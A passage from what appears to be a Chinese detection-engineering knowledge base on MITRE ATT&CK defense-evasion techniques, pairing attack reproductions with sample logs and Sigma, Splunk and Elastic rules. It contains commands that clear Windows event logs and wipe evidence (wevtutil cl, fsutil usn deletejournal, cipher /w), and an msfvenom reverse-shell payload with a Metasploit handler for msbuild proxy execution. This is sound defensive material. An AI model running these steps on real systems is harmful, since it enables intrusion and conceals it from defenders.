"Microsoft-Windows-Diagnostics-Networking/Operational" wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational" wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational" wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational" wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational" wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational" wevtutil.exe cl "Microsoft-Windows-EapHost/Operational" wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational" wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational" wevtutil.exe cl "Microsoft-Windows-FMS/Operational" wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational" wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational" wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational" wevtutil.exe cl "Microsoft-Windows-Help/Operational" wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational" wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational" wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational" wevtutil.exe cl "Microsoft-Windows-IKE/Operational" wevtutil.exe cl "Microsoft-Windows-International/Operational" wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational" wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin" wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational" wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors" wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational" wevtutil.exe cl "Microsoft-Windows-Known Folders API Service" wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational" wevtutil.exe cl "Microsoft-Windows-MCT/Operational" wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug" wevtutil.exe cl "Microsoft-Windows-MUI/Admin" wevtutil.exe cl "Microsoft-Windows-MUI/Operational" wevtutil.exe cl "Microsoft-Windows-NCSI/Operational" wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/Operational" wevtutil.exe cl "Microsoft-Windows-NetworkAccessProtection/WHC" wevtutil.exe cl "Microsoft-Windows-NetworkLocationWizard/Operational" wevtutil.exe cl "Microsoft-Windows-NetworkProfile/Operational" wevtutil.exe cl "Microsoft-Windows-NlaSvc/Operational" wevtutil.exe cl "Microsoft-Windows-NTLM/Operational" wevtutil.exe cl "Microsoft-Windows-OfflineFiles/Operational" wevtutil.exe cl "Microsoft-Windows-ParentalControls/Operational" wevtutil.exe cl "Microsoft-Windows-PeopleNearMe/Operational" wevtutil.exe cl "Microsoft-Windows-PowerShell/Operational" wevtutil.exe cl "Microsoft-Windows-PrintService/Admin" wevtutil.exe cl "Microsoft-Windows-ReadyBoost/Operational" wevtutil.exe cl "Microsoft-Windows-ReadyBoostDriver/Operational" wevtutil.exe cl "Microsoft-Windows-Recovery/Operational" wevtutil.exe cl "Microsoft-Windows-ReliabilityAnalysisComponent/Operational" wevtutil.exe cl "Microsoft-Windows-RemoteApp and Desktop Connections/Admin" wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Admin" wevtutil.exe cl "Microsoft-Windows-RemoteAssistance/Operational" wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Detector/Operational" wevtutil.exe cl "Microsoft-Windows-Resource-Exhaustion-Resolver/Operational" wevtutil.exe cl "Microsoft-Windows-Resource-Leak-Diagnostic/Operational" wevtutil.exe cl "Microsoft-Windows-RestartManager/Operational" wevtutil.exe cl "Microsoft-Windows-Security-Audit-Configuration-Client/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Admin" wevtutil.exe cl "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Admin" wevtutil.exe cl "Microsoft-Windows-TerminalServices-PnPDevices/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-RDPClient/Operational" wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Admin" wevtutil.exe cl "Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational" wevtutil.exe cl "Microsoft-Windows-TZUtil/Operational" wevtutil.exe cl "Microsoft-Windows-UAC/Operational" wevtutil.exe cl "Microsoft-Windows-UAC-FileVirtualization/Operational" wevtutil.exe cl "Microsoft-Windows-User Profile Service/Operational" wevtutil.exe cl "Microsoft-Windows-VDRVROOT/Operational" wevtutil.exe cl "Microsoft-Windows-VHDMP/Operational" wevtutil.exe cl "Microsoft-Windows-WER-Diag/Operational" wevtutil.exe cl "Microsoft-Windows-WFP/Operational" wevtutil.exe cl "Microsoft-Windows-Windows Defender/Operational" wevtutil.exe cl "Microsoft-Windows-Windows Defender/WHC" wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurity" wevtutil.exe cl "Microsoft-Windows-Windows Firewall With Advanced Security/Firewall" wevtutil.exe cl "Microsoft-Windows-WindowsBackup/ActionCenter" wevtutil.exe cl "Microsoft-Windows-WindowsSystemAssessmentTool/Operational" wevtutil.exe cl "Microsoft-Windows-WindowsUpdateClient/Operational" wevtutil.exe cl "Microsoft-Windows-Winlogon/Operational" wevtutil.exe cl "Microsoft-Windows-WinRM/Operational" wevtutil.exe cl "Microsoft-Windows-Winsock-WS2HELP/Operational" wevtutil.exe cl "Microsoft-Windows-Wired-AutoConfig/Operational" wevtutil.exe cl "Microsoft-Windows-WLAN-AutoConfig/Operational" wevtutil.exe cl "Microsoft-Windows-WPD-ClassInstaller/Operational" wevtutil.exe cl "Microsoft-Windows-WPD-CompositeClassDriver/Operational" wevtutil.exe cl "Microsoft-Windows-WPD-MTPClassDriver/Operational" wevtutil.exe cl "ODiag" wevtutil.exe cl "OSession" wevtutil.exe cl "Security" wevtutil.exe cl "Setup" wevtutil.exe cl "System" wevtutil.exe cl "Windows PowerShell" ``` ## 检测日志 Windows sysmon日志 ## 测试复现 ```yml C:\Windows\system32>wevtutil cl security ``` ## 测试留痕 ### sysmon_log ```yml Process Create: RuleName: - UtcTime: 2020-11-29 13:15:07.077 ProcessGuid: {bb1f7c32-9edb-5fc3-8100-000000001900} ProcessId: 1908 Image: C:\Windows\System32\wevtutil.exe FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) Description: Eventing Command Line Utility Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: wevtutil.exe CommandLine: wevtutil cl security CurrentDirectory: C:\Windows\system32\ User: 12306Br0-PC\12306Br0 LogonGuid: {bb1f7c32-7b3c-5fc3-f960-060000000000} LogonId: 0x660f9 TerminalSessionId: 1 IntegrityLevel: High Hashes: SHA1=BDCF4B78B6D6F45EDC9D226CE05B7ADC3B366248 ParentProcessGuid: {bb1f7c32-7b69-5fc3-5000-000000001900} ParentProcessId: 3328 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\System32\cmd.exe" ``` ### windows_security_log ```yml 已创建新进程。 使用者: 安全 ID: 12306Br0-PC\12306Br0 帐户名称: 12306Br0 帐户域: 12306Br0-PC 登录 ID: 0x660f9 进程信息: 新进程 ID: 0x774 新进程名称: C:\Windows\System32\wevtutil.exe 令牌提升类型: TokenElevationTypeFull (2) 创建者进程 ID: 0xd00 进程命令行: #未开启记录命令行参数审核,所以此处为空 ``` ## 检测规则/思路 ### sigma ```yml title: windows 日志清除 description: win7模拟测试结果 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: security detection: ​ selection1: ​ EventID: ​ - 1 #sysmon ​ - 4688 #Windows 安全日志 Process.name: 'wevtutil.exe' #Application Name Commanline: 'cl' selection2: Process.name: 'powershell.exe' #Application Name Commanline: 'Clear-EventLog' ​condition: selection1 OR selection2 level: medium ``` ### 建议 如果你想基于windows日志进行检测,那么你需要留意在产生了1102(日志清除)后,wevtutil进程(4688/4689)的调用情况。至少,它在我的测试环境中是这么展示的。 ## 参考推荐 MITRE-ATT&CK-T1070-001 powershell:Clear-EventLog ================================================ FILE: Windows/07逃避防御/T1070-001-win-清除事件日志.md ================================================ # T1070-001-Win-清除事件日志 ## 来自ATT&CK的描述 攻击者可能试图阻止由监测软件或进程捕获到的告警,以及事件日志被收集和分析。这可能包括修改配置文件或注册表项中的监测软件的设置,以达到逃避追踪的目的。 在基于特征监测的情况下,攻击者可以阻止监测特征相关的数据被发送出去,以便于阻止安全人员进行分析。这可以有很多方式实现,例如停止负责转发的进程(splunk转发器、Filebate、rsyslog等)。 具体案例,你可以参考绕过sysmon相关的文章。(PS:英语不好、谷歌翻译真心,,,太难了)。 ## 测试案例 在正常的操作期间内,事件日志不太可能会被刻意清除。但是恶意攻击者可能会通过清除事件日志来尝试掩盖自己的踪迹。当事件日志被清除时,它是可疑的。发现“清除事件日志”时可能意味着有恶意攻击者利用了此项技术。 集中收集事件日志的一个好处就是使攻击者更难以掩盖他们的踪迹,事件转发允许将收集到的系统事件日志发送给多个收集器(splunk、elk等),从而实现冗余事件收集。使用冗余事件收集,可以最大限度的帮助我们发现威胁。 ## 检测日志 windows security windows system ## 测试复现 进入windows事件查看器 windows日志>系统日志>清除日志 windows日志>安全日志>清除日志 ## 测试留痕 暂无 ## 检测规则/思路 ### sigma ```yml title: windows 日志清除 description: win7 and windows server 2003模拟测试结果 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: security detection: ​ selection: ​ EventID: ​ - 1102 ​ - 517 ​ condition: selection level: medium ``` ```yml title: windows 日志清除 description: win7 模拟测试结果 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: system detection: ​ selection: ​ EventID: 104 ​ condition: selection level: medium ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1070-001 ================================================ FILE: Windows/07逃避防御/T1070-004-win-使用Fsutil删除卷USN日志.md ================================================ # T1070-004-Win-使用Fsutil删除卷USN日志 ## 来自ATT&CK的描述 攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行,也可以作为入侵后的过程中进行,以最大程度地减少攻击者留下的足迹。 主机操作系统中提供了一些工具来执行清除,但攻击者也可以使用其他工具。其中包括本机cmd函数(例如DEL),安全删除工具(例如Windows Sysinternals SDelete)或其他第三方文件删除工具。 ## 测试案例 识别使用fsutil.exe删除USN JRNL卷。攻击者使用此技术来消除利用漏洞后创建的文件的活动证据。 更多姿势可参考:[渗透技巧——Windows下NTFS文件的USN Journal](http://app.myzaker.com/news/article.php?pk=5c6e106577ac642d40290442) ## 检测日志 Windows 安全日志/sysmon日志 ## 测试复现 ```yml 关闭NTFS日志功能: 在cmd中运行 fsutil: fsutil usn createjournal m=1000 a=100 c: //创建日志 fsutil usn deletejournal /d c: //删除日志 ``` ## 测试留痕 暂无,仅提供4688进程创建事件样例。 windows server 2016/win10 ```yml A new process has been created. Subject: Security ID: WIN-R9H529RIO4Y\Administrator Account Name: Administrator Account Domain: WIN-R9H529RIO4Y Logon ID: 0x1fd23 Process Information: New Process ID: 0xed0 New Process Name: C:\Windows\System32\notepad.exe Token Elevation Type: TokenElevationTypeDefault (1) Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x8c0 Creator Process Name: c:\windows\system32\explorer.exe Process Command Line: C:\Windows\System32\notepad.exe c:\sys\junk.txt ``` ## 检测规则/思路 ### Sigma ```yml title: 使用Fsutil删除卷USN日志 description: 识别使用fsutil.exe删除USN JRNL卷。攻击者使用此技术来消除利用漏洞后创建的文件的活动证据。 status: experimental references: - https://www.elastic.co/guide/en/siem/guide/current/delete-volume-usn-journal-with-fsutil.html#delete-volume-usn-journal-with-fsutil logsource: ​ product: windows ​ service: security detection: ​ selection: ​ EventID: ​ - 1 #sysmon ​ - 4688 #Windows 安全日志 New Process Name: 'fsutil.exe' #Application Name Commanline: 'usn deletejournal' ​ condition: selection level: low ``` ### Elastic rule query ```yml event.action:"Process Create (rule: ProcessCreate)" and process.name:fsutil.exe and process.args:(deletejournal and usn) ``` ### 建议 如果你对windows有足够多的了解,那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为,比如依靠4688中的进程和命令行参数进行检测分析。 ## 参考推荐 MITRE-ATT&CK-T1070-004 渗透技巧——Windows下NTFS文件的USN Journal 使用Fsutil删除卷USN日志 Elastic rule query 4688事件样例 ================================================ FILE: Windows/07逃避防御/T1070-004-win-文件删除.md ================================================ # T1070-004-Win-文件删除 ## 来自ATT&CK的描述 攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行,也可以作为入侵后的过程中进行,以最大程度地减少攻击者留下的足迹。 主机操作系统中提供了一些工具来执行清除,但攻击者也可以使用其他工具。其中包括本机cmd函数(例如DEL),安全删除工具(例如Windows Sysinternals SDelete)或其他第三方文件删除工具。 ## 测试案例 ![sdelete](https://img2020.cnblogs.com/blog/1424605/202007/1424605-20200714094141181-832893720.png) ## 检测日志 Windows 安全日志/sysmon日志 ## 测试复现 命令行工具,你需要在cmd或powershell中调用它。 ```yml 用法: sdelete [-p passes] [-r] [-s] [-q] [...] sdelete [-p passes] [-z|-c [percent free]] sdelete [-p passes] [-z|-c] -c 清理可用空间。 指定选项空间量 留给正在运行的系统免费使用。 -p 指定覆盖次数(默认为1) -r 删除只读属性 -s 递归子目录 -z 零可用空间(适用于虚拟磁盘优化) -nobanner 不显示启动标语和版权信息。磁盘必须没有任何卷才能被清理。 ``` ## 测试留痕 暂无 ## 检测规则/思路 在业务环境中找到与良性命令行功能(例如DEL或第三方实用程序或工具)相关的事件的情况很少见,具体取决于用户群和系统的典型使用方式。监视命令行删除功能以及相关使二进制文件,或攻击者可能会使用的删除文件进行关联,可能会帮助安全人员检测到恶意活动。另一个好的做法是监视攻击者可能会引入的企业网络中系统上尚未存在的已知删除和安全删除工具。某些监视工具可能会收集命令行参数,但可能无法捕获DEL命令,因为DEL是cmd.exe中的本机函数。 ### splunk规则 ```yml index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image IN (“*\\sdelete.exe” , “*\\vssadmin.exe” , “*\\wmic.exe” , “*\\bcdedit.exe” , “*\\wbadmin.exe”)) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\vssadmin.exe” CommandLine=”*Delete Shadows*”) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\wmic.exe” CommandLine=”*shadowcopy delete*”) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\bcdedit.exe” CommandLine IN (“*bootstatuspolicy ignoreallfailures*” , “*recoveryenabled no*”)) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\wbadmin.exe” (CommandLine=”*Delete*”,CommandLine=”*catalog*”)) ``` ### 建议 如果你对windows有足够多的了解,那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为,比如依靠4688中的进程和命令行参数进行检测分析。 ## 参考推荐 MITRE-ATT&CK-T1070-004 windows使用sdelete安全的删除文件 ================================================ FILE: Windows/07逃避防御/T1070-004-win-通过Rmdir删除Windows文件.md ================================================ T1070-004-Win-通过Rmdir删除Windows文件 ## 来自ATT&CK的描述 攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行,也可以作为入侵后的过程中进行,以最大程度地减少攻击者留下的足迹。 主机操作系统中提供了一些工具来执行清除,但攻击者也可以使用其他工具。其中包括本机cmd函数(例如DEL),安全删除工具(例如Windows Sysinternals SDelete)或其他第三方文件删除工具。 ## 测试案例 rmdir命令是windows系统自带的一个命令,用于删除文件和目录。 ```bash C:\Users\jackma>help rmdir 删除一个目录。 RMDIR [/S] [/Q] [drive:]path RD [/S] [/Q] [drive:]path /S 除目录本身外,还将删除指定目录下的所有子目录和 文件。用于删除目录树。 /Q 安静模式,带 /S 删除目录树时不要求确认 ``` ## 检测日志 Windows sysmon ## 测试复现 ```bash C:\Users\jackma>rmdir /S /Q C:\Users\jackma\Desktop\test ``` ## 测试留痕 无,在实际的测试过程中,cmd命令行下并没有观测到Windows安全日志有所记录相关进程行为,因此未获取到留痕日志,建议使用Sysmon日志进行检测,或者其他具备可识别记录进程命令行参数的端点安全软件日志进行检测。 ## 检测规则/思路 ### Splunk ```sql | tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = "*rmdir*" Processes.process = "* /s *" Processes.process = "* /q *" by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_indicator_removal_via_rmdir_filter` ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1070-004 rmdir Windows Indicator Removal Via Rmdir ================================================ FILE: Windows/07逃避防御/T1070-005-win-删除网络共享连接.md ================================================ # T1070-005-Win-删除网络共享连接 ## 来自ATT&CK的描述 攻击者可能会删除不再使用的共享连接,以清除其运行痕迹。不再需要Windows共享驱动器和SMB Windows Admin Shares连接时,可以将其删除。Net是一个实用程序,可用于通过net use \system\share /delete命令删除网络共享连接。 ## 测试案例 net share删除网络共享 ```yml net share c$ /d ``` ## 检测日志 Windows 安全日志/sysmon日志 ## 测试复现 ```yml 测试环境:windows server 2016 C:\Users\Administrator>net share c$ /d c$ 已经删除。 ``` ## 测试留痕 ### windows_security_log ```yml EVENT_ID_1_4688 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1260 新进程名称: C:\Windows\System32\net.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x378 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: net share c$ /d EVENT_ID_2_4688 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1078 新进程名称: C:\Windows\System32\net1.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x1260 创建者进程名称: C:\Windows\System32\net.exe 进程命令行: C:\Windows\system32\net1 share c$ /d EVENT_ID_3_5144 删除了一个网络共享对象。 使用者: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 共享信息: 共享名称: \\*\c$ 共享路径: C:\ ``` ## 检测规则/思路 ### sigma ```yml title: windows下使用net share命令删除网络共享 description: Windows下使用net share删除网络共享,可以通过Windows安全日志进行信息进行发现 status: experimental author: 12306Bro logsource: ​ product: windows ​ service: security detection: ​ selection1: ​ EventID: 4688 #Windows 安全日志 Process_name: 'net.exe' #Application Name Commanline: '/d' selection2: EventID: 5144 #Windows安全日志 ​ condition: selection1 or selection2 level: medium ``` ## 建议 网络共享连接可能取决于网络环境的使用方式。监视net use与通过SMB建立和删除远程共享相关的命令的命令行调用,包括遵循检测Windows Admin Shares的最佳实践。系统之间的SMB流量也可能会被捕获和解码,以寻找相关的网络共享会话和文件传输活动。Windows身份验证日志在确定何时建立经过身份验证的网络共享以及通过哪个帐户建立帐户时也很有用,并且可用于将网络共享活动与其他事件相关联用以调查潜在的恶意活动。 ## 参考推荐 MITRE-ATT&CK-T1070-005 ================================================ FILE: Windows/07逃避防御/T1070.001-Win-检测cipher.exe删除数据.md ================================================ # T1070.001-Win-检测Cipher.exe删除数据 ## 描述 攻击者可能通过清除事件日志或删除数据来阻止监测软件捕获告警,或妨碍事件日志的收集和分析,以掩盖其活动痕迹(MITRE ATT&CK T1070.001)。这种行为可能包括修改监测软件的配置文件或注册表项、停止事件转发进程(如Splunk转发器、Filebeat、rsyslog),或使用工具清除磁盘数据以消除证据。 在Windows系统中,`cipher.exe`是一个内置工具,可用于安全擦除磁盘上的空闲空间,覆盖已删除文件的数据,防止恢复。这种行为在勒索软件攻击中常见,攻击者可能利用`cipher.exe`清除敏感数据或日志文件,以规避取证分析。 集中化的事件日志收集(如通过Splunk、ELK)可以增加攻击者隐藏痕迹的难度,因为冗余收集机制能保留日志副本。检测`cipher.exe`的异常使用是发现潜在恶意活动的关键。 ## 测试案例 ### 测试1:使用cipher.exe擦除磁盘空闲空间 Windows 2000及以上版本内置`cipher.exe`,可通过`/w`参数覆盖指定磁盘或目录的空闲空间,消除已删除文件的痕迹。 **攻击命令**(在命令提示符中运行): ```cmd cipher /w:[:\directory] ``` **示例**: - 擦除C盘空闲空间:`cipher /w:C` - 擦除特定目录:`cipher /w:C:\Users\12306br0\Desktop\test` **说明**: - 命令会依次使用`0x00`、`0xFF`和随机数据覆盖空闲空间,确保数据不可恢复。 - 目录参数可选,通常指定盘符即可。 ## 检测日志 - **Windows安全日志**:通过Event ID 4688(进程创建)记录`cipher.exe`的执行(需启用进程跟踪审核)。 - **Sysmon日志**:通过Event ID 1(进程创建)捕获详细的命令行参数和父进程信息。 ## 测试复现 ### 测试1:使用cipher.exe擦除数据 **测试环境**:Windows Server 2016 **攻击命令**: ```cmd C:\Users\12306br0>cipher /w:C:\Users\12306br0\Desktop\test ``` **结果**: - 命令执行后,`C:\Users\12306br0\Desktop\test`目录的空闲空间被覆盖,删除文件的残留数据被清除。 - 未报告具体输出,但`cipher.exe`会显示覆盖进度(视数据量而定)。 ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: SYSTEM 计算机: 361A 描述: 已创建新进程。 创建者主题: 安全 ID: 361A\12306br0 帐户名: 12306br0 帐户域: 361A 登录 ID: 0x507DC 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x11e0 新进程名称: C:\Windows\System32\cipher.exe 令牌提升类型: %%1938 (TokenElevationTypeLimited) 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x10f0 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: cipher /w:C:\Users\12306br0\Desktop\test ``` **分析**: - 日志记录了`cipher.exe`的执行,命令行包含`/w`参数,表明擦除操作。 - 父进程为`cmd.exe`,提示通过命令提示符触发。 - 需启用命令行审核以记录`进程命令行`字段。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测cipher.exe删除数据 description: Detects execution of cipher.exe with /w parameter, indicating potential data wiping behavior, as seen in ransomware attacks. status: experimental author: 12306Br0 date: 2020/06/09 references: - https://attack.mitre.org/techniques/T1070/001/ - https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/ tags: - attack.defense_evasion - attack.t1070.001 logsource: product: windows service: security detection: selection: EventID: - 4688 # Windows安全日志 - 1 # Sysmon日志 Image|endswith: '\cipher.exe' CommandLine|contains: '/w' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - Legitimate administrative use of cipher.exe for secure data deletion level: medium ``` **规则说明**: - 检测`cipher.exe`执行时命令行包含`/w`参数的行为,表明擦除空闲空间。 - 规则覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法管理员操作的误报。 ### 建议 1. **监控cipher.exe执行**: - 使用Sysmon(Event ID 1)捕获`cipher.exe`的进程创建事件,检查命令行是否包含`/w`。 - 关注非管理员用户或非预期环境(如普通工作站)运行`cipher.exe`的行为。 2. **检测异常路径**: - 监控`cipher.exe`擦除用户目录(如`%APPDATA%`、`%TEMP%`)或敏感路径(如日志存储目录)的行为。 - 检查父进程(如`cmd.exe`、`powershell.exe`)是否异常。 3. **启用详细日志**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数(需高版本Windows支持)。 - 部署Sysmon,记录进程创建(Event ID 1)和文件操作(Event ID 11)。 4. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`cipher.exe`异常执行。 - 设置告警规则,针对非预期用户或系统运行`cipher /w`的行为。 5. **限制cipher.exe使用**: - 使用AppLocker或组策略限制`cipher.exe`的执行,仅允许在特定管理场景下运行。 - 监控未经授权的`cipher.exe`调用。 6. **关联行为分析**: - 将`cipher.exe`执行与其他可疑行为(如勒索软件加密、网络连接)关联,识别攻击链。 - 例如,检测擦除操作后是否出现异常的文件加密或C2通信。 7. **测试与验证**: - 在测试环境中模拟`cipher.exe`擦除数据,验证检测规则有效性。 - 调整规则阈值,排除合法管理员操作的误报。 ## 参考推荐 - MITRE ATT&CK T1070.001 - Microsoft 365 Defender威胁情报团队:勒索软件分析 - Atomic Red Team T1070.001 ================================================ FILE: Windows/07逃避防御/T1127-Win-使用Msbuild.exe执行payload(白名单).md ================================================ # T1127-受信任的开发者实用程序代理执行-Msbuild.exe(白名单) ## 描述 攻击者可利用受信任的开发者工具(如`msbuild.exe`)代理执行恶意Payload。`msbuild.exe`是MicrosoftBuildEngine,位于.NETFramework目录,由Microsoft签名,用于构建VisualStudio项目。它支持XML格式的项目文件,允许通过内联任务(InlineTask)嵌入和执行C#代码。 由于其合法签名,`msbuild.exe`可绕过应用程序白名单(如AppLocker)或防病毒软件检测。攻击者通过构造包含恶意C#代码的XML项目文件,利用`msbuild.exe`编译并执行代码,常用于防御规避、持久化或横向移动阶段。 ## 测试案例 ### 测试案例1:Msbuild.exe执行内联C#代码 `msbuild.exe`通过XML项目文件中的内联任务执行C#代码,加载恶意Shellcode。 **命令**: ```cmd C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe malicious.xml ``` - **示例XML文件(malicious.xml)**: ```xml ``` - **说明**: - XML文件定义内联任务,嵌入C#代码,通过`VirtualAlloc`和`CreateThread`执行Shellcode。 - Shellcode可替换为反弹Shell或其他恶意代码。 - **权限**:普通用户可执行。 - **支持系统**:Windows7、Windows8、Windows8.1、Windows10、WindowsServer2012(需安装.NETFramework4.0)。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`msbuild.exe`的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID11:文件创建,记录XML文件或生成的文件。 - 事件ID10:进程访问,记录子进程调用。 - 文件监控: - 检测非开发目录下的XML文件或生成的可执行文件。 - 网络监控: - 检测`msbuild.exe`触发的网络连接(如反弹Shell)。 ## 测试复现 ### 环境准备 - 攻击机:KaliLinux2019 - 靶机:WindowsServer2012(需安装.NETFramework4.0) - 工具: - MetasploitFramework(生成Payload和监听) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:Msbuild.exe执行恶意Shellcode 1. **生成Shellcode**: ```bash msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp ``` - 输出C#格式Shellcode,复制到`malicious.xml`的`byte[] shellcode`中。 ![载荷](https://img-blog.csdnimg.cn/20200413135116398.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) 2. **创建XML文件**: 在靶机创建`malicious.xml`,将Shellcode替换到上述示例XML的`shellcode`数组中。 ![XML文件设置](https://img-blog.csdnimg.cn/20200413135530841.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) 3. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 4444 msf5 exploit(multi/handler)>exploit ``` ![监听](https://img-blog.csdnimg.cn/20200413140326808.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) 4. **靶机执行Payload**: 将`malicious.xml`复制到靶机(如`C:\Users\admin\`),执行: ```cmd C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\Users\admin\malicious.xml ``` ![加载payload](https://img-blog.csdnimg.cn/20200413140707313.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2MzM0NDY0,size_16,color_FFFFFF,t_70) 5. **结果分析**: - 成功:`msbuild.exe`编译并执行Shellcode,获得Meterpreter会话,`getuid`显示用户为`WIN-SERVER\admin`。 - 失败可能: - .NETFramework4.0未安装。 - 防火墙阻止TCP4444连接。 - Shellcode架构不匹配(需生成x86或x64版本以适配靶机)。 - XML文件格式错误(如缺少CDATA或语法错误)。 